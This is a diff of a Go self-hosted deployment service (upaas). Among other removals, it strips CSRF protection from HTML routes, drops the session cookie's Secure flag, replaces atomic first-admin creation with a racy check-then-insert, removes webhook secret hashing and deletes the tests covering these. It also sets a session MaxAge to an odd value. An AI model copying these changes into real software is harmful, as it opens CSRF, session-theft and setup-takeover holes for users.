+	s.router.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleLoginPOST())
+	s.router.Get("/setup", s.handlers.HandleSetupGET())
+	s.router.Post("/setup", s.handlers.HandleSetupPOST())
+
+	// Webhook endpoint (uses secret for auth, not session)
 	s.router.Post("/webhook/{secret}", s.handlers.HandleWebhook())

-	// All HTML-serving routes get CSRF protection
-	s.router.Group(func(r chi.Router) {
-		r.Use(s.mw.CSRF())
-
-		// Public routes
-		r.Get("/login", s.handlers.HandleLoginGET())
-		r.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleLoginPOST())
-		r.Get("/setup", s.handlers.HandleSetupGET())
-		r.Post("/setup", s.handlers.HandleSetupPOST())
-
 	// Protected routes (require session auth)
-		r.Group(func(r chi.Router) {
+	s.router.Group(func(r chi.Router) {
 		r.Use(s.mw.SessionAuth())

 		// Dashboard
@@ -68,7 +64,6 @@ func (s *Server) SetupRoutes() {
 		r.Post("/apps/{id}", s.handlers.HandleAppUpdate())
 		r.Post("/apps/{id}/delete", s.handlers.HandleAppDelete())
 		r.Post("/apps/{id}/deploy", s.handlers.HandleAppDeploy())
-			r.Post("/apps/{id}/deployments/cancel", s.handlers.HandleCancelDeploy())
 		r.Get("/apps/{id}/deployments", s.handlers.HandleAppDeployments())
 		r.Get("/apps/{id}/deployments/{deploymentID}/logs", s.handlers.HandleDeploymentLogsAPI())
 		r.Get("/apps/{id}/deployments/{deploymentID}/download", s.handlers.HandleDeploymentLogDownload())
@@ -76,51 +71,26 @@ func (s *Server) SetupRoutes() {
 		r.Get("/apps/{id}/container-logs", s.handlers.HandleContainerLogsAPI())
 		r.Get("/apps/{id}/status", s.handlers.HandleAppStatusAPI())
 		r.Get("/apps/{id}/recent-deployments", s.handlers.HandleRecentDeploymentsAPI())
-			r.Post("/apps/{id}/rollback", s.handlers.HandleAppRollback())
 		r.Post("/apps/{id}/restart", s.handlers.HandleAppRestart())
 		r.Post("/apps/{id}/stop", s.handlers.HandleAppStop())
 		r.Post("/apps/{id}/start", s.handlers.HandleAppStart())

 		// Environment variables
 		r.Post("/apps/{id}/env-vars", s.handlers.HandleEnvVarAdd())
-			r.Post("/apps/{id}/env-vars/{varID}/edit", s.handlers.HandleEnvVarEdit())
 		r.Post("/apps/{id}/env-vars/{varID}/delete", s.handlers.HandleEnvVarDelete())

 		// Labels
 		r.Post("/apps/{id}/labels", s.handlers.HandleLabelAdd())
-			r.Post("/apps/{id}/labels/{labelID}/edit", s.handlers.HandleLabelEdit())
 		r.Post("/apps/{id}/labels/{labelID}/delete", s.handlers.HandleLabelDelete())

 		// Volumes
 		r.Post("/apps/{id}/volumes", s.handlers.HandleVolumeAdd())
-			r.Post("/apps/{id}/volumes/{volumeID}/edit", s.handlers.HandleVolumeEdit())
 		r.Post("/apps/{id}/volumes/{volumeID}/delete", s.handlers.HandleVolumeDelete())

 		// Ports
 		r.Post("/apps/{id}/ports", s.handlers.HandlePortAdd())
 		r.Post("/apps/{id}/ports/{portID}/delete", s.handlers.HandlePortDelete())
 	})
-	})
-
-	// API v1 routes (cookie-based session auth, no CSRF)
-	s.router.Route("/api/v1", func(r chi.Router) {
-		// Login endpoint is public (returns session cookie)
-		r.With(s.mw.LoginRateLimit()).Post("/login", s.handlers.HandleAPILoginPOST())
-
-		// All other API routes require session auth
-		r.Group(func(r chi.Router) {
-			r.Use(s.mw.APISessionAuth())
-
-			r.Get("/whoami", s.handlers.HandleAPIWhoAmI())
-
-			r.Get("/apps", s.handlers.HandleAPIListApps())
-			r.Post("/apps", s.handlers.HandleAPICreateApp())
-			r.Get("/apps/{id}", s.handlers.HandleAPIGetApp())
-			r.Delete("/apps/{id}", s.handlers.HandleAPIDeleteApp())
-			r.Post("/apps/{id}/deploy", s.handlers.HandleAPITriggerDeploy())
-			r.Get("/apps/{id}/deployments", s.handlers.HandleAPIListDeployments())
-		})
-	})

 	// Metrics endpoint (optional, with basic auth)
 	if s.params.Config.MetricsUsername != "" {
--- a/internal/service/app/app.go
+++ b/internal/service/app/app.go
@@ -11,7 +11,6 @@ import (

 	"github.com/google/uuid"
 	"github.com/oklog/ulid/v2"
-
 	"go.uber.org/fx"

 	"git.eeqj.de/sneak/upaas/internal/database"
@@ -83,7 +82,6 @@ func (svc *Service) CreateApp(
 	}

 	app.WebhookSecret = uuid.New().String()
-	app.WebhookSecretHash = database.HashWebhookSecret(app.WebhookSecret)
 	app.SSHPrivateKey = keyPair.PrivateKey
 	app.SSHPublicKey = keyPair.PublicKey
 	app.Status = models.AppStatusPending
--- a/internal/service/auth/auth.go
+++ b/internal/service/auth/auth.go
@@ -10,6 +10,7 @@ import (
 	"log/slog"
 	"net/http"
 	"strings"
+	"time"

 	"github.com/gorilla/sessions"
 	"go.uber.org/fx"
@@ -72,7 +73,6 @@ func New(_ fx.Lifecycle, params ServiceParams) (*Service, error) {
 		Path:     "/",
 		MaxAge:   sessionMaxAgeSeconds,
 		HttpOnly: true,
-		Secure:   !params.Config.Debug,
 		SameSite: http.SameSiteLaxMode,
 	}

@@ -162,27 +162,34 @@ func (svc *Service) IsSetupRequired(ctx context.Context) (bool, error) {
 }

 // CreateUser creates the initial admin user.
-// It uses a DB transaction to atomically check that no users exist and insert
-// the new admin user, preventing race conditions from concurrent setup requests.
 func (svc *Service) CreateUser(
 	ctx context.Context,
 	username, password string,
 ) (*models.User, error) {
-	// Hash password before starting transaction.
+	// Check if user already exists
+	exists, err := models.UserExists(ctx, svc.db)
+	if err != nil {
+		return nil, fmt.Errorf("failed to check if user exists: %w", err)
+	}
+
+	if exists {
+		return nil, ErrUserExists
+	}
+
+	// Hash password
 	hash, err := svc.HashPassword(password)
 	if err != nil {
 		return nil, fmt.Errorf("failed to hash password: %w", err)
 	}

-	// Use a transaction so the "no users exist" check and the insert are atomic.
-	// SQLite serializes write transactions, so concurrent requests will block here.
-	user, err := models.CreateFirstUser(ctx, svc.db, username, hash)
-	if err != nil {
-		return nil, fmt.Errorf("failed to create user: %w", err)
-	}
+	// Create user
+	user := models.NewUser(svc.db)
+	user.Username = username
+	user.PasswordHash = hash

-	if user == nil {
-		return nil, ErrUserExists
+	err = user.Save(ctx)
+	if err != nil {
+		return nil, fmt.Errorf("failed to save user: %w", err)
 	}

 	svc.log.Info("user created", "username", username)
@@ -268,7 +275,7 @@ func (svc *Service) DestroySession(
 		return fmt.Errorf("failed to get session: %w", err)
 	}

-	session.Options.MaxAge = -1
+	session.Options.MaxAge = -1 * int(time.Second)

 	saveErr := session.Save(request, respWriter)
 	if saveErr != nil {
--- a/internal/service/auth/auth_test.go
+++ b/internal/service/auth/auth_test.go
@@ -2,9 +2,6 @@ package auth_test

 import (
 	"context"
-	"fmt"
-	"net/http"
-	"net/http/httptest"
 	"path/filepath"
 	"testing"

@@ -71,83 +68,6 @@ func setupTestService(t *testing.T) (*auth.Service, func()) {
 	return svc, cleanup
 }

-func setupAuthService(t *testing.T, debug bool) *auth.Service {
-	t.Helper()
-
-	tmpDir := t.TempDir()
-
-	globals.SetAppname("upaas-test")
-	globals.SetVersion("test")
-
-	globalsInst, err := globals.New(fx.Lifecycle(nil))
-	require.NoError(t, err)
-
-	loggerInst, err := logger.New(
-		fx.Lifecycle(nil),
-		logger.Params{Globals: globalsInst},
-	)
-	require.NoError(t, err)
-
-	cfg := &config.Config{
-		Port:          8080,
-		DataDir:       tmpDir,
-		SessionSecret: "test-secret-key-at-least-32-chars",
-		Debug:         debug,
-	}
-
-	dbInst, err := database.New(fx.Lifecycle(nil), database.Params{
-		Logger: loggerInst,
-		Config: cfg,
-	})
-	require.NoError(t, err)
-
-	svc, err := auth.New(fx.Lifecycle(nil), auth.ServiceParams{
-		Logger:   loggerInst,
-		Config:   cfg,
-		Database: dbInst,
-	})
-	require.NoError(t, err)
-
-	return svc
-}
-
-func getSessionCookie(t *testing.T, svc *auth.Service) *http.Cookie {
-	t.Helper()
-
-	_, err := svc.CreateUser(context.Background(), "admin", "password123")
-	require.NoError(t, err)
-
-	user, err := svc.Authenticate(context.Background(), "admin", "password123")
-	require.NoError(t, err)
-
-	recorder := httptest.NewRecorder()
-	request := httptest.NewRequest(http.MethodGet, "/", nil)
-
-	err = svc.CreateSession(recorder, request, user)
-	require.NoError(t, err)
-
-	for _, c := range recorder.Result().Cookies() {
-		if c.Name == "upaas_session" {
-			return c
-		}
-	}
-
-	return nil
-}
-
-func TestSessionCookieSecureFlag(testingT *testing.T) {
-	testingT.Parallel()
-
-	testingT.Run("secure flag is true when debug is false", func(t *testing.T) {
-		t.Parallel()
-
-		svc := setupAuthService(t, false)
-		cookie := getSessionCookie(t, svc)
-		require.NotNil(t, cookie, "session cookie should exist")
-		assert.True(t, cookie.Secure, "session cookie should have Secure flag in production mode")
-	})
-}
-
 func TestHashPassword(testingT *testing.T) {
 	testingT.Parallel()

@@ -280,54 +200,6 @@ func TestCreateUser(testingT *testing.T) {
 	})
 }

-func TestCreateUserRaceCondition(testingT *testing.T) {
-	testingT.Parallel()
-
-	testingT.Run("concurrent setup requests create only one user", func(t *testing.T) {
-		t.Parallel()
-
-		svc, cleanup := setupTestService(t)
-		defer cleanup()
-
-		const goroutines = 10
-
-		results := make(chan error, goroutines)
-		start := make(chan struct{})
-
-		for i := range goroutines {
-			go func(idx int) {
-				<-start // Wait for all goroutines to be ready
-
-				_, err := svc.CreateUser(
-					context.Background(),
-					fmt.Sprintf("admin%d", idx),
-					"password123456",
-				)
-				results <- err
-			}(i)
-		}
-
-		// Release all goroutines simultaneously
-		close(start)
-
-		var successes, failures int
-
-		for range goroutines {
-			err := <-results
-			if err == nil {
-				successes++
-			} else {
-				require.ErrorIs(t, err, auth.ErrUserExists)
-
-				failures++
-			}
-		}
-
-		assert.Equal(t, 1, successes, "exactly one goroutine should succeed")
-		assert.Equal(t, goroutines-1, failures, "all other goroutines should fail with ErrUserExists")
-	})
-}
-
 func TestAuthenticate(testingT *testing.T) {
 	testingT.Parallel()

@@ -369,38 +241,3 @@ func TestAuthenticate(testingT *testing.T) {
 		assert.ErrorIs(t, err, auth.ErrInvalidCredentials)
 	})
 }
-
-func TestDestroySessionMaxAge(testingT *testing.T) {
-	testingT.Parallel()
-
-	testingT.Run("sets MaxAge to exactly -1", func(t *testing.T) {
-		t.Parallel()
-
-		svc, cleanup := setupTestService(t)
-		defer cleanup()
-
-		recorder := httptest.NewRecorder()
-		request := httptest.NewRequest(http.MethodGet, "/", nil)
-
-		err := svc.DestroySession(recorder, request)
-		require.NoError(t, err)
-
-		// Check the Set-Cookie header to verify MaxAge is -1 (immediate expiry).
-		// With MaxAge = -1, the cookie should have Max-Age=0 in the HTTP header
-		// (per http.Cookie semantics: negative MaxAge means delete now).
-		cookies := recorder.Result().Cookies()
-		require.NotEmpty(t, cookies, "expected a Set-Cookie header")
-
-		found := false
-
-		for _, c := range cookies {
-			if c.MaxAge < 0 {
-				found = true
-
-				break
-			}
-		}
-
-		assert.True(t, found, "expected a cookie with negative MaxAge (deletion)")
-	})
-}
--- a/internal/service/deploy/deploy.go
+++ b/internal/service/deploy/deploy.go
@@ -11,7 +11,6 @@ import (
 	"log/slog"
 	"os"
 	"path/filepath"
-	"strings"
 	"sync"
 	"time"

@@ -44,14 +43,10 @@ var (
 	ErrContainerUnhealthy = errors.New("container unhealthy after 60 seconds")
 	// ErrDeploymentInProgress indicates another deployment is already running.
 	ErrDeploymentInProgress = errors.New("deployment already in progress for this app")
-	// ErrDeployCancelled indicates the deployment was cancelled by a newer deploy.
-	ErrDeployCancelled = errors.New("deployment cancelled by newer deploy")
 	// ErrBuildTimeout indicates the build phase exceeded the timeout.
 	ErrBuildTimeout = errors.New("build timeout exceeded")
 	// ErrDeployTimeout indicates the deploy phase exceeded the timeout.
 	ErrDeployTimeout = errors.New("deploy timeout exceeded")
-	// ErrNoPreviousImage indicates there is no previous image to rollback to.
-	ErrNoPreviousImage = errors.New("no previous image available for rollback")
 )

 // logFlushInterval is how often to flush buffered logs to the database.
@@ -83,7 +78,6 @@ type deploymentLogWriter struct {
 	lineBuffer bytes.Buffer // buffer for incomplete lines
 	mu         sync.Mutex
 	done       chan struct{}
-	flushed    sync.WaitGroup  // waits for flush goroutine to finish
 	flushCtx   context.Context //nolint:containedctx // needed for async flush goroutine
 }

@@ -93,8 +87,6 @@ func newDeploymentLogWriter(ctx context.Context, deployment *models.Deployment)
 		done:       make(chan struct{}),
 		flushCtx:   ctx,
 	}
-	w.flushed.Add(1)
-
 	go w.runFlushLoop()

 	return w
@@ -136,15 +128,12 @@ func (w *deploymentLogWriter) Write(p []byte) (int, error) {
 	return len(p), nil
 }

-// Close stops the flush loop, waits for the final flush to complete.
+// Close stops the flush loop and performs a final flush.
 func (w *deploymentLogWriter) Close() {
 	close(w.done)
-	w.flushed.Wait()
 }

 func (w *deploymentLogWriter) runFlushLoop() {
-	defer w.flushed.Done()
-
 	ticker := time.NewTicker(logFlushInterval)
 	defer ticker.Stop()

@@ -210,12 +199,6 @@ type ServiceParams struct {
 	Notify   *notify.Service
 }

-// activeDeploy tracks a running deployment so it can be cancelled.
-type activeDeploy struct {
-	cancel context.CancelFunc
-	done   chan struct{}
-}
-
 // Service provides deployment functionality.
 type Service struct {
 	log      *slog.Logger
@@ -224,7 +207,6 @@ type Service struct {
 	notify   *notify.Service
 	config   *config.Config
 	params   *ServiceParams
-	activeDeploys sync.Map // map[string]*activeDeploy - per-app active deployment tracking
 	appLocks sync.Map // map[string]*sync.Mutex - per-app deployment locks
 }

@@ -286,39 +268,12 @@ func (svc *Service) GetLogFilePath(app *models.App, deployment *models.Deploymen
 	return filepath.Join(svc.config.DataDir, "logs", hostname, app.Name, filename)
 }

-// HasActiveDeploy returns true if there is an active deployment for the given app.
-func (svc *Service) HasActiveDeploy(appID string) bool {
-	_, ok := svc.activeDeploys.Load(appID)
-
-	return ok
-}
-
-// CancelDeploy cancels any in-progress deployment for the given app
-// and waits for it to finish before returning. Returns true if a deployment
-// was cancelled, false if there was nothing to cancel.
-func (svc *Service) CancelDeploy(appID string) bool {
-	if !svc.HasActiveDeploy(appID) {
-		return false
-	}
-
-	svc.cancelActiveDeploy(appID)
-
-	return true
-}
-
-// Deploy deploys an app. If cancelExisting is true (e.g. webhook-triggered),
-// any in-progress deploy for the same app will be cancelled before starting.
-// If cancelExisting is false and a deploy is in progress, ErrDeploymentInProgress is returned.
+// Deploy deploys an app.
 func (svc *Service) Deploy(
 	ctx context.Context,
 	app *models.App,
 	webhookEventID *int64,
-	cancelExisting bool,
 ) error {
-	if cancelExisting {
-		svc.cancelActiveDeploy(app.ID)
-	}
-
 	// Try to acquire per-app deployment lock
 	if !svc.tryLockApp(app.ID) {
 		svc.log.Warn("deployment already in progress", "app", app.Name)
@@ -327,186 +282,45 @@ func (svc *Service) Deploy(
 	}
 	defer svc.unlockApp(app.ID)

-	// Set up cancellable context and register as active deploy
-	deployCtx, cancel := context.WithCancel(ctx)
-	done := make(chan struct{})
-	ad := &activeDeploy{cancel: cancel, done: done}
-	svc.activeDeploys.Store(app.ID, ad)
-
-	defer func() {
-		cancel()
-		close(done)
-		svc.activeDeploys.Delete(app.ID)
-	}()
-
 	// Fetch webhook event and create deployment record
-	webhookEvent := svc.fetchWebhookEvent(deployCtx, webhookEventID)
+	webhookEvent := svc.fetchWebhookEvent(ctx, webhookEventID)

-	// Use a background context for DB operations that must complete regardless of cancellation
-	bgCtx := context.WithoutCancel(deployCtx)
-
-	deployment, err := svc.createDeploymentRecord(bgCtx, app, webhookEventID, webhookEvent)
+	deployment, err := svc.createDeploymentRecord(ctx, app, webhookEventID, webhookEvent)
 	if err != nil {
 		return err
 	}

-	svc.logWebhookPayload(bgCtx, deployment, webhookEvent)
+	svc.logWebhookPayload(ctx, deployment, webhookEvent)

-	err = svc.updateAppStatusBuilding(bgCtx, app)
+	err = svc.updateAppStatusBuilding(ctx, app)
 	if err != nil {
 		return err
 	}

-	svc.notify.NotifyBuildStart(bgCtx, app, deployment)
+	svc.notify.NotifyBuildStart(ctx, app, deployment)

-	return svc.runBuildAndDeploy(deployCtx, bgCtx, app, deployment)
-}
-
-// Rollback rolls back an app to its previous image.
-// It stops the current container, starts a new one with the previous image,
-// and creates a deployment record for the rollback.
-func (svc *Service) Rollback(ctx context.Context, app *models.App) error {
-	if !app.PreviousImageID.Valid || app.PreviousImageID.String == "" {
-		return ErrNoPreviousImage
-	}
-
-	// Acquire per-app deployment lock
-	if !svc.tryLockApp(app.ID) {
-		return ErrDeploymentInProgress
-	}
-	defer svc.unlockApp(app.ID)
-
-	bgCtx := context.WithoutCancel(ctx)
-
-	deployment, err := svc.createRollbackDeployment(bgCtx, app)
-	if err != nil {
-		return err
-	}
-
-	return svc.executeRollback(ctx, bgCtx, app, deployment)
-}
-
-// createRollbackDeployment creates a deployment record for a rollback operation.
-func (svc *Service) createRollbackDeployment(
-	ctx context.Context,
-	app *models.App,
-) (*models.Deployment, error) {
-	deployment := models.NewDeployment(svc.db)
-	deployment.AppID = app.ID
-	deployment.Status = models.DeploymentStatusDeploying
-	deployment.ImageID = sql.NullString{String: app.PreviousImageID.String, Valid: true}
-
-	saveErr := deployment.Save(ctx)
-	if saveErr != nil {
-		return nil, fmt.Errorf("failed to create rollback deployment: %w", saveErr)
-	}
-
-	_ = deployment.AppendLog(ctx, "Rolling back to previous image: "+app.PreviousImageID.String)
-
-	return deployment, nil
-}
-
-// executeRollback performs the container swap for a rollback.
-func (svc *Service) executeRollback(
-	ctx context.Context,
-	bgCtx context.Context,
-	app *models.App,
-	deployment *models.Deployment,
-) error {
-	previousImageID := app.PreviousImageID.String
-
-	svc.removeOldContainer(ctx, app, deployment)
-
-	rollbackOpts, err := svc.buildContainerOptions(ctx, app, deployment.ID)
-	if err != nil {
-		svc.failDeployment(bgCtx, app, deployment, err)
-
-		return fmt.Errorf("failed to build container options: %w", err)
-	}
-
-	rollbackOpts.Image = previousImageID
-
-	containerID, err := svc.docker.CreateContainer(ctx, rollbackOpts)
-	if err != nil {
-		svc.failDeployment(bgCtx, app, deployment, fmt.Errorf("failed to create rollback container: %w", err))
-
-		return fmt.Errorf("failed to create rollback container: %w", err)
-	}
-
-	deployment.ContainerID = sql.NullString{String: containerID, Valid: true}
-	_ = deployment.AppendLog(bgCtx, "Rollback container created: "+containerID)
-
-	startErr := svc.docker.StartContainer(ctx, containerID)
-	if startErr != nil {
-		svc.failDeployment(bgCtx, app, deployment, fmt.Errorf("failed to start rollback container: %w", startErr))
-
-		return fmt.Errorf("failed to start rollback container: %w", startErr)
-	}
-
-	_ = deployment.AppendLog(bgCtx, "Rollback container started")
-
-	currentImageID := app.ImageID
-	app.ImageID = sql.NullString{String: previousImageID, Valid: true}
-	app.PreviousImageID = currentImageID
-	app.Status = models.AppStatusRunning
-
-	saveErr := app.Save(bgCtx)
-	if saveErr != nil {
-		return fmt.Errorf("failed to update app after rollback: %w", saveErr)
-	}
-
-	_ = deployment.MarkFinished(bgCtx, models.DeploymentStatusSuccess)
-	_ = deployment.AppendLog(bgCtx, "Rollback complete")
-
-	svc.log.Info("rollback completed", "app", app.Name, "image", previousImageID)
-
-	return nil
-}
-
-// runBuildAndDeploy executes the build and deploy phases, handling cancellation.
-func (svc *Service) runBuildAndDeploy(
-	deployCtx context.Context,
-	bgCtx context.Context,
-	app *models.App,
-	deployment *models.Deployment,
-) error {
 	// Build phase with timeout
-	imageID, err := svc.buildImageWithTimeout(deployCtx, app, deployment)
+	imageID, err := svc.buildImageWithTimeout(ctx, app, deployment)
 	if err != nil {
-		cancelErr := svc.checkCancelled(deployCtx, bgCtx, app, deployment, "")
-		if cancelErr != nil {
-			return cancelErr
-		}
-
 		return err
 	}

-	svc.notify.NotifyBuildSuccess(bgCtx, app, deployment)
+	svc.notify.NotifyBuildSuccess(ctx, app, deployment)

 	// Deploy phase with timeout
-	err = svc.deployContainerWithTimeout(deployCtx, app, deployment, imageID)
+	err = svc.deployContainerWithTimeout(ctx, app, deployment, imageID)
 	if err != nil {
-		cancelErr := svc.checkCancelled(deployCtx, bgCtx, app, deployment, imageID)
-		if cancelErr != nil {
-			return cancelErr
-		}
-
 		return err
 	}

-	// Save current image as previous before updating to new one
-	if app.ImageID.Valid && app.ImageID.String != "" {
-		app.PreviousImageID = app.ImageID
-	}
-
-	err = svc.updateAppRunning(bgCtx, app, imageID)
+	err = svc.updateAppRunning(ctx, app, imageID)
 	if err != nil {
 		return err
 	}

 	// Use context.WithoutCancel to ensure health check completes even if
 	// the parent context is cancelled (e.g., HTTP request ends).
-	go svc.checkHealthAfterDelay(bgCtx, app, deployment)
+	go svc.checkHealthAfterDelay(context.WithoutCancel(ctx), app, deployment)

 	return nil
 }
@@ -643,96 +457,6 @@ func (svc *Service) unlockApp(appID string) {
 	svc.getAppLock(appID).Unlock()
 }

-// cancelActiveDeploy cancels any in-progress deployment for the given app
-// and waits for it to finish before returning.
-func (svc *Service) cancelActiveDeploy(appID string) {
-	val, ok := svc.activeDeploys.Load(appID)
-	if !ok {
-		return
-	}
-
-	ad, ok := val.(*activeDeploy)
-	if !ok {
-		return
-	}
-
-	svc.log.Info("cancelling in-progress deployment", "app_id", appID)
-	ad.cancel()
-	<-ad.done
-}
-
-// checkCancelled checks if the deploy context was cancelled (by a newer deploy)
-// and if so, marks the deployment as cancelled and cleans up orphan resources.
-// Returns ErrDeployCancelled or nil.
-func (svc *Service) checkCancelled(
-	deployCtx context.Context,
-	bgCtx context.Context,
-	app *models.App,
-	deployment *models.Deployment,
-	imageID string,
-) error {
-	if !errors.Is(deployCtx.Err(), context.Canceled) {
-		return nil
-	}
-
-	svc.log.Info("deployment cancelled", "app", app.Name)
-
-	svc.cleanupCancelledDeploy(bgCtx, app, deployment, imageID)
-
-	_ = deployment.MarkFinished(bgCtx, models.DeploymentStatusCancelled)
-
-	return ErrDeployCancelled
-}
-
-// cleanupCancelledDeploy removes orphan resources left by a cancelled deployment.
-func (svc *Service) cleanupCancelledDeploy(
-	ctx context.Context,
-	app *models.App,
-	deployment *models.Deployment,
-	imageID string,
-) {
-	// Clean up the intermediate Docker image if one was built
-	if imageID != "" {
-		removeErr := svc.docker.RemoveImage(ctx, imageID)
-		if removeErr != nil {
-			svc.log.Error("failed to remove image from cancelled deploy",
-				"error", removeErr, "app", app.Name, "image", imageID)
-			_ = deployment.AppendLog(ctx, "WARNING: failed to clean up image "+imageID+": "+removeErr.Error())
-		} else {
-			svc.log.Info("cleaned up image from cancelled deploy",
-				"app", app.Name, "image", imageID)
-			_ = deployment.AppendLog(ctx, "Cleaned up intermediate image: "+imageID)
-		}
-	}
-
-	// Clean up the build directory for this deployment
-	buildDir := svc.GetBuildDir(app.Name)
-
-	entries, err := os.ReadDir(buildDir)
-	if err != nil {
-		return
-	}
-
-	prefix := fmt.Sprintf("%d-", deployment.ID)
-
-	for _, entry := range entries {
-		if entry.IsDir() && strings.HasPrefix(entry.Name(), prefix) {
-			dirPath := filepath.Join(buildDir, entry.Name())
-
-			removeErr := os.RemoveAll(dirPath)
-			if removeErr != nil {
-				svc.log.Error("failed to remove build dir from cancelled deploy",
-					"error", removeErr, "path", dirPath)
-			} else {
-				svc.log.Info("cleaned up build dir from cancelled deploy",
-					"app", app.Name, "path", dirPath)
-
-				_ = deployment.AppendLog(ctx, "Cleaned up build directory")
-			}
-		}
-	}
-}
-
 func (svc *Service) fetchWebhookEvent(
 	ctx context.Context,
 	webhookEventID *int64,
--- a/internal/service/deploy/deploy_cancel_test.go
+++ b/internal/service/deploy/deploy_cancel_test.go
@@ -1,133 +0,0 @@
-package deploy_test
-
-import (
-	"context"
-	"log/slog"
-	"sync"
-	"testing"
-	"time"
-
-	"github.com/stretchr/testify/assert"
-
-	"git.eeqj.de/sneak/upaas/internal/service/deploy"
-)
-
-func TestCancelActiveDeploy_NoExisting(t *testing.T) {
-	t.Parallel()
-
-	svc := deploy.NewTestService(slog.Default())
-
-	// Should not panic or block when no active deploy exists
-	svc.CancelActiveDeploy("nonexistent-app")
-}
-
-func TestCancelActiveDeploy_CancelsAndWaits(t *testing.T) {
-	t.Parallel()
-
-	svc := deploy.NewTestService(slog.Default())
-
-	ctx, cancel := context.WithCancel(context.Background())
-	done := make(chan struct{})
-
-	svc.RegisterActiveDeploy("app-1", cancel, done)
-
-	// Simulate a running deploy that respects cancellation
-	var deployFinished bool
-
-	go func() {
-		<-ctx.Done()
-
-		deployFinished = true
-
-		close(done)
-	}()
-
-	svc.CancelActiveDeploy("app-1")
-	assert.True(t, deployFinished, "deploy should have finished after cancellation")
-}
-
-func TestCancelActiveDeploy_BlocksUntilDone(t *testing.T) {
-	t.Parallel()
-
-	svc := deploy.NewTestService(slog.Default())
-
-	ctx, cancel := context.WithCancel(context.Background())
-	done := make(chan struct{})
-
-	svc.RegisterActiveDeploy("app-2", cancel, done)
-
-	// Simulate slow cleanup after cancellation
-	go func() {
-		<-ctx.Done()
-		time.Sleep(50 * time.Millisecond)
-		close(done)
-	}()
-
-	start := time.Now()
-
-	svc.CancelActiveDeploy("app-2")
-
-	elapsed := time.Since(start)
-
-	assert.GreaterOrEqual(t, elapsed, 50*time.Millisecond,
-		"cancelActiveDeploy should block until the deploy finishes")
-}
-
-func TestTryLockApp_PreventsConcurrent(t *testing.T) {
-	t.Parallel()
-
-	svc := deploy.NewTestService(slog.Default())
-
-	assert.True(t, svc.TryLockApp("app-1"), "first lock should succeed")
-	assert.False(t, svc.TryLockApp("app-1"), "second lock should fail")
-
-	svc.UnlockApp("app-1")
-
-	assert.True(t, svc.TryLockApp("app-1"), "lock after unlock should succeed")
-
-	svc.UnlockApp("app-1")
-}
-
-func TestCancelActiveDeploy_AllowsNewDeploy(t *testing.T) {
-	t.Parallel()
-
-	svc := deploy.NewTestService(slog.Default())
-
-	// Simulate an active deploy holding the lock
-	ctx, cancel := context.WithCancel(context.Background())
-	done := make(chan struct{})
-
-	svc.RegisterActiveDeploy("app-3", cancel, done)
-
-	// Lock the app as if a deploy is in progress
-	assert.True(t, svc.TryLockApp("app-3"))
-
-	// Simulate deploy goroutine: release lock on cancellation
-	var mu sync.Mutex
-
-	released := false
-
-	go func() {
-		<-ctx.Done()
-
-		svc.UnlockApp("app-3")
-
-		mu.Lock()
-		released = true
-		mu.Unlock()
-
-		close(done)
-	}()
-
-	// Cancel should cause the old deploy to release its lock
-	svc.CancelActiveDeploy("app-3")
-
-	mu.Lock()
-	assert.True(t, released)
-	mu.Unlock()
-
-	// Now a new deploy should be able to acquire the lock
-	assert.True(t, svc.TryLockApp("app-3"), "should be able to lock after cancellation")
-
-	svc.UnlockApp("app-3")
-}
--- a/internal/service/deploy/deploy_cleanup_test.go
+++ b/internal/service/deploy/deploy_cleanup_test.go
@@ -1,63 +0,0 @@
-package deploy_test
-
-import (
-	"context"
-	"log/slog"
-	"os"
-	"path/filepath"
-	"testing"
-
-	"github.com/stretchr/testify/assert"
-	"github.com/stretchr/testify/require"
-
-	"git.eeqj.de/sneak/upaas/internal/config"
-	"git.eeqj.de/sneak/upaas/internal/service/deploy"
-)
-
-func TestCleanupCancelledDeploy_RemovesBuildDir(t *testing.T) {
-	t.Parallel()
-
-	tmpDir := t.TempDir()
-	cfg := &config.Config{DataDir: tmpDir}
-
-	svc := deploy.NewTestServiceWithConfig(slog.Default(), cfg, nil)
-
-	// Create a fake build directory matching the deployment pattern
-	appName := "test-app"
-	buildDir := svc.GetBuildDirExported(appName)
-	require.NoError(t, os.MkdirAll(buildDir, 0o750))
-
-	// Create deployment-specific dir: <deploymentID>-<random>
-	deployDir := filepath.Join(buildDir, "42-abc123")
-	require.NoError(t, os.MkdirAll(deployDir, 0o750))
-
-	// Create a file inside to verify full removal
-	require.NoError(t, os.WriteFile(filepath.Join(deployDir, "work"), []byte("test"), 0o600))
-
-	// Also create a dir for a different deployment (should NOT be removed)
-	otherDir := filepath.Join(buildDir, "99-xyz789")
-	require.NoError(t, os.MkdirAll(otherDir, 0o750))
-
-	// Run cleanup for deployment 42
-	svc.CleanupCancelledDeploy(context.Background(), appName, 42, "")
-
-	// Deployment 42's dir should be gone
-	_, err := os.Stat(deployDir)
-	assert.True(t, os.IsNotExist(err), "deployment build dir should be removed")
-
-	// Deployment 99's dir should still exist
-	_, err = os.Stat(otherDir)
-	assert.NoError(t, err, "other deployment build dir should not be removed")
-}
-
-func TestCleanupCancelledDeploy_NoBuildDir(t *testing.T) {
-	t.Parallel()
-
-	tmpDir := t.TempDir()
-	cfg := &config.Config{DataDir: tmpDir}
-
-	svc := deploy.NewTestServiceWithConfig(slog.Default(), cfg, nil)
-
-	// Should not panic when build dir doesn't exist
-	svc.CleanupCancelledDeploy(context.Background(), "nonexistent-app", 1, "")
-}
--- a/internal/service/deploy/export_test.go
+++ b/internal/service/deploy/export_test.go
@@ -1,82 +0,0 @@
-package deploy
-
-import (
-	"context"
-	"fmt"
-	"log/slog"
-	"os"
-	"path/filepath"
-	"strings"
-
-	"git.eeqj.de/sneak/upaas/internal/config"
-	"git.eeqj.de/sneak/upaas/internal/docker"
-)
-
-// NewTestService creates a Service with minimal dependencies for testing.
-func NewTestService(log *slog.Logger) *Service {
-	return &Service{
-		log: log,
-	}
-}
-
-// CancelActiveDeploy exposes cancelActiveDeploy for testing.
-func (svc *Service) CancelActiveDeploy(appID string) {
-	svc.cancelActiveDeploy(appID)
-}
-
-// RegisterActiveDeploy registers an active deploy for testing.
-func (svc *Service) RegisterActiveDeploy(appID string, cancel context.CancelFunc, done chan struct{}) {
-	svc.activeDeploys.Store(appID, &activeDeploy{cancel: cancel, done: done})
-}
-
-// TryLockApp exposes tryLockApp for testing.
-func (svc *Service) TryLockApp(appID string) bool {
-	return svc.tryLockApp(appID)
-}
-
-// UnlockApp exposes unlockApp for testing.
